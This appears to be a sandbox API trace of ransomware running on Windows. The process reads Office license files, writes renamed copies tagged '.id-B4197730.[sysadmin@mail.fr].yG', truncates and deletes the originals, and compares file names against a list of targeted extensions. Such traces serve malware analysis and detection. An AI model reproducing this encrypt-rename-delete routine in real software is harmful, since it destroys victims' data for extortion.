	[0172.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.864] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.864] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.938] GetLastError () returned 0x0
	[0172.938] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0172.941] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.942] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.942] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.942] SetEndOfFile (hFile=0x568) returned 1
	[0172.942] CloseHandle (hObject=0x568) returned 1
	[0172.942] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.942] SetEndOfFile (hFile=0x564) returned 1
	[0172.946] CloseHandle (hObject=0x564) returned 1
	[0172.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1
	[0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.948] lstrlenW (lpString=".doc") returned 4
	[0172.948] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.948] lstrlenW (lpString=".docx") returned 5
	[0172.948] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.948] lstrlenW (lpString=".pdf") returned 4
	[0172.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.948] lstrlenW (lpString=".xls") returned 4
	[0172.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.948] lstrlenW (lpString=".xlsx") returned 5
	[0172.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.948] lstrlenW (lpString=".ppt") returned 4
	[0172.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.948] lstrlenW (lpString=".zip") returned 4
	[0172.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.948] lstrlenW (lpString=".rar") returned 4
	[0172.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.949] lstrlenW (lpString=".bz2") returned 4
	[0172.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.949] lstrlenW (lpString=".7z") returned 3
	[0172.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.949] lstrlenW (lpString=".dbf") returned 4
	[0172.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.949] lstrlenW (lpString=".1cd") returned 4
	[0172.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0172.949] lstrlenW (lpString=".jpg") returned 4
	[0172.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.952] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11651) returned 1
	[0172.952] CloseHandle (hObject=0x564) returned 1
	[0172.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0172.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.953] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.953] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.954] GetLastError () returned 0x0
	[0172.954] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0172.966] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0172.967] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.967] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x126, lpOverlapped=0x0) returned 1
	[0172.967] SetEndOfFile (hFile=0x568) returned 1
	[0172.967] CloseHandle (hObject=0x568) returned 1
	[0172.968] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.968] SetEndOfFile (hFile=0x564) returned 1
	[0172.976] CloseHandle (hObject=0x564) returned 1
	[0172.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0173.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.119] lstrlenW (lpString=".doc") returned 4
	[0173.119] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.119] lstrlenW (lpString=".docx") returned 5
	[0173.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.119] lstrlenW (lpString=".pdf") returned 4
	[0173.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString=".xls") returned 4
	[0173.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString=".xlsx") returned 5
	[0173.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.120] lstrlenW (lpString=".ppt") returned 4
	[0173.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.120] lstrlenW (lpString=".zip") returned 4
	[0173.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString=".rar") returned 4
	[0173.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString=".bz2") returned 4
	[0173.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString=".7z") returned 3
	[0173.120] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.120] lstrlenW (lpString=".dbf") returned 4
	[0173.120] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.120] lstrlenW (lpString=".1cd") returned 4
	[0173.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0173.120] lstrlenW (lpString=".jpg") returned 4
	[0173.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.121] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11199) returned 1
	[0173.121] CloseHandle (hObject=0x564) returned 1
	[0173.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220
	[0173.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.122] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.122] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.124] GetLastError () returned 0x0
	[0173.124] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0173.127] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0173.132] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.132] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.133] SetEndOfFile (hFile=0x478) returned 1
	[0173.133] CloseHandle (hObject=0x478) returned 1
	[0173.133] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.133] SetEndOfFile (hFile=0x564) returned 1
	[0173.169] CloseHandle (hObject=0x564) returned 1
	[0173.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1
	[0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.172] lstrlenW (lpString=".doc") returned 4
	[0173.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.172] lstrlenW (lpString=".docx") returned 5
	[0173.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.172] lstrlenW (lpString=".pdf") returned 4
	[0173.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.172] lstrlenW (lpString=".xls") returned 4
	[0173.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.172] lstrlenW (lpString=".xlsx") returned 5
	[0173.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.172] lstrlenW (lpString=".ppt") returned 4
	[0173.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.172] lstrlenW (lpString=".zip") returned 4
	[0173.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.172] lstrlenW (lpString=".rar") returned 4
	[0173.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.173] lstrlenW (lpString=".bz2") returned 4
	[0173.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString=".7z") returned 3
	[0173.177] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".dbf") returned 4
	[0173.178] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".1cd") returned 4
	[0173.178] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".jpg") returned 4
	[0173.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.179] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=26541) returned 1
	[0173.179] CloseHandle (hObject=0x564) returned 1
	[0173.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0173.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.184] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.184] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.185] GetLastError () returned 0x0
	[0173.185] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0173.190] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0173.191] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.191] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x120, lpOverlapped=0x0) returned 1
	[0173.192] SetEndOfFile (hFile=0x364) returned 1
	[0173.192] CloseHandle (hObject=0x364) returned 1
	[0173.192] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.192] SetEndOfFile (hFile=0x564) returned 1
	[0173.195] CloseHandle (hObject=0x564) returned 1
	[0173.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1
	[0173.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.485] lstrlenW (lpString=".doc") returned 4
	[0173.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.485] lstrlenW (lpString=".docx") returned 5
	[0173.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.485] lstrlenW (lpString=".pdf") returned 4
	[0173.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.485] lstrlenW (lpString=".xls") returned 4
	[0173.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.485] lstrlenW (lpString=".xlsx") returned 5
	[0173.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.485] lstrlenW (lpString=".ppt") returned 4
	[0173.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.485] lstrlenW (lpString=".zip") returned 4
	[0173.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.485] lstrlenW (lpString=".rar") returned 4
	[0173.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.486] lstrlenW (lpString=".bz2") returned 4
	[0173.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.486] lstrlenW (lpString=".7z") returned 3
	[0173.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.486] lstrlenW (lpString=".dbf") returned 4
	[0173.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.486] lstrlenW (lpString=".1cd") returned 4
	[0173.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0173.486] lstrlenW (lpString=".jpg") returned 4
	[0173.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.487] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=23134) returned 1
	[0173.487] CloseHandle (hObject=0x570) returned 1
	[0173.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220
	[0173.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.488] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.488] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.489] GetLastError () returned 0x0
	[0173.489] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5a5e, lpOverlapped=0x0) returned 1
